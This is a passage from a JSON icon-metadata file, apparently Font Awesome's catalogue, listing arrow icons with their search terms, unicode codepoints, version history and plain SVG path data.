        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M544 416L32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32zm22.6-137.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L480 274.7 480 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7-41.4-41.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96zm-320-45.3c-12.5-12.5-32.8-12.5-45.3 0L160 274.7 160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7L54.6 233.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M544 416L32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32zm22.6-137.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L480 274.7 480 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7-41.4-41.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96zm-320-45.3c-12.5-12.5-32.8-12.5-45.3 0L160 274.7 160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 210.7L54.6 233.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "arrows-down-to-people": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "focus", "targeted"]
    },
    "styles": ["solid"],
    "unicode": "e4b9",
    "label": "Arrows Down To People",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 0c-13.3 0-24 10.7-24 24V142.1L97 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24zM360 200a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM184 296a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm312 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 345.5V400c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V345.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 468.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5zM415 153l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V142.1l-23-23c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 0c-13.3 0-24 10.7-24 24V142.1L97 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24zM360 200a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM184 296a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm312 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 345.5V400c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V345.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 468.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 441.5V480c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V441.5zM415 153l64 64c9.4 9.4 24.6 9.4 33.9 0l64-64c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-23 23V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V142.1l-23-23c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "arrows-left-right": {
    "aliases": {
      "names": ["arrows-h"],
      "unicodes": {
        "secondary": ["10f07e"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["expand", "horizontal", "landscape", "resize", "wide"]
    },
    "styles": ["solid"],
    "unicode": "f07e",
    "label": "Arrows Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M406.6 374.6l96-96c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224l-293.5 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288l293.5 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M406.6 374.6l96-96c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224l-293.5 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288l293.5 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "arrows-left-right-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["analysis", "expand", "gap"]
    },
    "styles": ["solid"],
    "unicode": "e4ba",
    "label": "Arrows Left Right To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 64c17.7 0 32 14.3 32 32l0 320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64zm214.6 73.4c12.5 12.5 12.5 32.8 0 45.3L205.3 224l229.5 0-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 288l-229.5 0 41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0zM640 96V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 64c17.7 0 32 14.3 32 32l0 320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64zm214.6 73.4c12.5 12.5 12.5 32.8 0 45.3L205.3 224l229.5 0-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 288l-229.5 0 41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0zM640 96V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "arrows-rotate": {
    "aliases": {
      "names": ["refresh", "sync"],
      "unicodes": {
        "composite": ["1f5d8"],
        "secondary": ["10f021"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Clockwise Right and Left Semicircle Arrows",
        "exchange",
        "refresh",
        "reload",
        "rotate",
        "swap"
      ]
    },
    "styles": ["solid"],
    "unicode": "f021",
    "label": "Arrows Rotate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M105.1 202.6c7.7-21.8 20.2-42.3 37.8-59.8c62.5-62.5 163.8-62.5 226.3 0L386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H463.5c0 0 0 0 0 0h.4c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5zM39 289.3c-5 1.5-9.8 4.2-13.7 8.2c-4 4-6.7 8.8-8.1 14c-.3 1.2-.6 2.5-.8 3.8c-.3 1.7-.4 3.4-.4 5.1V448c0 17.7 14.3 32 32 32s32-14.3 32-32V396.9l17.6 17.5 0 0c87.5 87.4 229.3 87.4 316.7 0c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.5 62.5-163.8 62.5-226.3 0l-.1-.1L125.6 352H176c17.7 0 32-14.3 32-32s-14.3-32-32-32H48.4c-1.6 0-3.2 .1-4.8 .3s-3.1 .5-4.6 1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M105.1 202.6c7.7-21.8 20.2-42.3 37.8-59.8c62.5-62.5 163.8-62.5 226.3 0L386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H463.5c0 0 0 0 0 0h.4c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5zM39 289.3c-5 1.5-9.8 4.2-13.7 8.2c-4 4-6.7 8.8-8.1 14c-.3 1.2-.6 2.5-.8 3.8c-.3 1.7-.4 3.4-.4 5.1V448c0 17.7 14.3 32 32 32s32-14.3 32-32V396.9l17.6 17.5 0 0c87.5 87.4 229.3 87.4 316.7 0c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.5 62.5-163.8 62.5-226.3 0l-.1-.1L125.6 352H176c17.7 0 32-14.3 32-32s-14.3-32-32-32H48.4c-1.6 0-3.2 .1-4.8 .3s-3.1 .5-4.6 1z"
      }
    },
    "free": ["solid"]
  },
  "arrows-spin": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cycle", "rotate", "spin", "whirl"]
    },
    "styles": ["solid"],
    "unicode": "e4bb",
    "label": "Arrows Spin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96c38.4 0 73.7 13.5 101.3 36.1l-32.6 32.6c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H448c8.8 0 16-7.2 16-16V64c0-6.5-3.9-12.3-9.9-14.8s-12.9-1.1-17.4 3.5l-34 34C363.4 52.6 312.1 32 256 32c-10.9 0-21.5 .8-32 2.3V99.2c10.3-2.1 21-3.2 32-3.2zM132.1 154.7l32.6 32.6c4.6 4.6 11.5 5.9 17.4 3.5s9.9-8.3 9.9-14.8V64c0-8.8-7.2-16-16-16H64c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l34 34C52.6 148.6 32 199.9 32 256c0 10.9 .8 21.5 2.3 32H99.2c-2.1-10.3-3.2-21-3.2-32c0-38.4 13.5-73.7 36.1-101.3zM477.7 224H412.8c2.1 10.3 3.2 21 3.2 32c0 38.4-13.5 73.7-36.1 101.3l-32.6-32.6c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8V448c0 8.8 7.2 16 16 16H448c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-34-34C459.4 363.4 480 312.1 480 256c0-10.9-.8-21.5-2.3-32zM256 416c-38.4 0-73.7-13.5-101.3-36.1l32.6-32.6c4.6-4.6 5.9-11.5 3.5-17.4s-8.3-9.9-14.8-9.9H64c-8.8 0-16 7.2-16 16l0 112c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l34-34C148.6 459.4 199.9 480 256 480c10.9 0 21.5-.8 32-2.3V412.8c-10.3 2.1-21 3.2-32 3.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96c38.4 0 73.7 13.5 101.3 36.1l-32.6 32.6c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H448c8.8 0 16-7.2 16-16V64c0-6.5-3.9-12.3-9.9-14.8s-12.9-1.1-17.4 3.5l-34 34C363.4 52.6 312.1 32 256 32c-10.9 0-21.5 .8-32 2.3V99.2c10.3-2.1 21-3.2 32-3.2zM132.1 154.7l32.6 32.6c4.6 4.6 11.5 5.9 17.4 3.5s9.9-8.3 9.9-14.8V64c0-8.8-7.2-16-16-16H64c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l34 34C52.6 148.6 32 199.9 32 256c0 10.9 .8 21.5 2.3 32H99.2c-2.1-10.3-3.2-21-3.2-32c0-38.4 13.5-73.7 36.1-101.3zM477.7 224H412.8c2.1 10.3 3.2 21 3.2 32c0 38.4-13.5 73.7-36.1 101.3l-32.6-32.6c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8V448c0 8.8 7.2 16 16 16H448c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-34-34C459.4 363.4 480 312.1 480 256c0-10.9-.8-21.5-2.3-32zM256 416c-38.4 0-73.7-13.5-101.3-36.1l32.6-32.6c4.6-4.6 5.9-11.5 3.5-17.4s-8.3-9.9-14.8-9.9H64c-8.8 0-16 7.2-16 16l0 112c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l34-34C148.6 459.4 199.9 480 256 480c10.9 0 21.5-.8 32-2.3V412.8c-10.3 2.1-21 3.2-32 3.2z"
      }
    },
    "free": ["solid"]
  },
  "arrows-split-up-and-left": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agile", "split"]
    },
    "styles": ["solid"],
    "unicode": "e4bc",
    "label": "Arrows Split Up And Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M246.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L352 109.3V384c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c-70.7 0-128-57.3-128-128c0-35.3-28.7-64-64-64H109.3l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L109.3 256H224c23.3 0 45.2 6.2 64 17.1V109.3l-41.4 41.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M246.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L352 109.3V384c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c-70.7 0-128-57.3-128-128c0-35.3-28.7-64-64-64H109.3l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L109.3 256H224c23.3 0 45.2 6.2 64 17.1V109.3l-41.4 41.4z"
      }
    },
    "free": ["solid"]
  },
  "arrows-to-circle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "center",
        "concentrate",
        "coordinate",
        "coordination",
        "focal point",
        "focus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4bd",
    "label": "Arrows To Circle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M9.4 9.4C21.9-3.1 42.1-3.1 54.6 9.4L160 114.7V96c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 4.3-.9 8.5-2.4 12.2c-1.6 3.7-3.8 7.3-6.9 10.3l-.1 .1c-3.1 3-6.6 5.3-10.3 6.9c-3.8 1.6-7.9 2.4-12.2 2.4H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h18.7L9.4 54.6C-3.1 42.1-3.1 21.9 9.4 9.4zM256 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM114.7 352H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0l.1 0c8.8 0 16.7 3.6 22.5 9.3l.1 .1c3 3.1 5.3 6.6 6.9 10.3c1.6 3.8 2.4 7.9 2.4 12.2v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L114.7 352zM416 96c0-17.7 14.3-32 32-32s32 14.3 32 32v18.7L585.4 9.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 160H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448c-8.8 0-16.8-3.6-22.6-9.3l-.1-.1c-3-3.1-5.3-6.6-6.9-10.3s-2.4-7.8-2.4-12.2l0-.1v0V96zM525.3 352L630.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 397.3V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V320v0c0 0 0-.1 0-.1c0-4.3 .9-8.4 2.4-12.2c1.6-3.8 3.9-7.3 6.9-10.4c5.8-5.8 13.7-9.3 22.5-9.4c0 0 .1 0 .1 0h0 96c17.7 0 32 14.3 32 32s-14.3 32-32 32H525.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M9.4 9.4C21.9-3.1 42.1-3.1 54.6 9.4L160 114.7V96c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 4.3-.9 8.5-2.4 12.2c-1.6 3.7-3.8 7.3-6.9 10.3l-.1 .1c-3.1 3-6.6 5.3-10.3 6.9c-3.8 1.6-7.9 2.4-12.2 2.4H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h18.7L9.4 54.6C-3.1 42.1-3.1 21.9 9.4 9.4zM256 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM114.7 352H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0l.1 0c8.8 0 16.7 3.6 22.5 9.3l.1 .1c3 3.1 5.3 6.6 6.9 10.3c1.6 3.8 2.4 7.9 2.4 12.2v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L114.7 352zM416 96c0-17.7 14.3-32 32-32s32 14.3 32 32v18.7L585.4 9.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 160H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448c-8.8 0-16.8-3.6-22.6-9.3l-.1-.1c-3-3.1-5.3-6.6-6.9-10.3s-2.4-7.8-2.4-12.2l0-.1v0V96zM525.3 352L630.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 397.3V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V320v0c0 0 0-.1 0-.1c0-4.3 .9-8.4 2.4-12.2c1.6-3.8 3.9-7.3 6.9-10.4c5.8-5.8 13.7-9.3 22.5-9.4c0 0 .1 0 .1 0h0 96c17.7 0 32 14.3 32 32s-14.3 32-32 32H525.3z"
      }
    },
    "free": ["solid"]
  },
  "arrows-to-dot": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["assembly point", "center", "condense", "focus", "minimize"]
    },
    "styles": ["solid"],
    "unicode": "e4be",
    "label": "Arrows To Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c17.7 0 32 14.3 32 32V64h32c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-64 64c-12.5 12.5-32.8 12.5-45.3 0l-64-64c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8h32V32c0-17.7 14.3-32 32-32zM169.4 393.4l64-64c12.5-12.5 32.8-12.5 45.3 0l64 64c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H288v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H192c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9zM32 224H64V192c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c12.5 12.5 12.5 32.8 0 45.3l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3l64-64c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6v32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v32c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-64-64zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c17.7 0 32 14.3 32 32V64h32c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-64 64c-12.5 12.5-32.8 12.5-45.3 0l-64-64c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8h32V32c0-17.7 14.3-32 32-32zM169.4 393.4l64-64c12.5-12.5 32.8-12.5 45.3 0l64 64c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H288v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H192c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9zM32 224H64V192c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c12.5 12.5 12.5 32.8 0 45.3l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3l64-64c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6v32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v32c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-64-64zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "arrows-to-eye": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["center", "coordinated assessment", "focus"]
    },
    "styles": ["solid"],
    "unicode": "e4bf",
    "label": "Arrows To Eye",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M15 15C24.4 5.7 39.6 5.7 49 15l63 63V40c0-13.3 10.7-24 24-24s24 10.7 24 24v96c0 13.3-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H78.1L15 49C5.7 39.6 5.7 24.4 15 15zM133.5 243.9C158.6 193.6 222.7 112 320 112s161.4 81.6 186.5 131.9c3.8 7.6 3.8 16.5 0 24.2C481.4 318.4 417.3 400 320 400s-161.4-81.6-186.5-131.9c-3.8-7.6-3.8-16.5 0-24.2zM320 320a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM591 15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-63 63H600c13.3 0 24 10.7 24 24s-10.7 24-24 24H504c-13.3 0-24-10.7-24-24V40c0-13.3 10.7-24 24-24s24 10.7 24 24V78.1l63-63zM15 497c-9.4-9.4-9.4-24.6 0-33.9l63-63H40c-13.3 0-24-10.7-24-24s10.7-24 24-24h96c13.3 0 24 10.7 24 24v96c0 13.3-10.7 24-24 24s-24-10.7-24-24V433.9L49 497c-9.4 9.4-24.6 9.4-33.9 0zm576 0l-63-63V472c0 13.3-10.7 24-24 24s-24-10.7-24-24V376c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H561.9l63 63c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M15 15C24.4 5.7 39.6 5.7 49 15l63 63V40c0-13.3 10.7-24 24-24s24 10.7 24 24v96c0 13.3-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H78.1L15 49C5.7 39.6 5.7 24.4 15 15zM133.5 243.9C158.6 193.6 222.7 112 320 112s161.4 81.6 186.5 131.9c3.8 7.6 3.8 16.5 0 24.2C481.4 318.4 417.3 400 320 400s-161.4-81.6-186.5-131.9c-3.8-7.6-3.8-16.5 0-24.2zM320 320a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM591 15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-63 63H600c13.3 0 24 10.7 24 24s-10.7 24-24 24H504c-13.3 0-24-10.7-24-24V40c0-13.3 10.7-24 24-24s24 10.7 24 24V78.1l63-63zM15 497c-9.4-9.4-9.4-24.6 0-33.9l63-63H40c-13.3 0-24-10.7-24-24s10.7-24 24-24h96c13.3 0 24 10.7 24 24v96c0 13.3-10.7 24-24 24s-24-10.7-24-24V433.9L49 497c-9.4 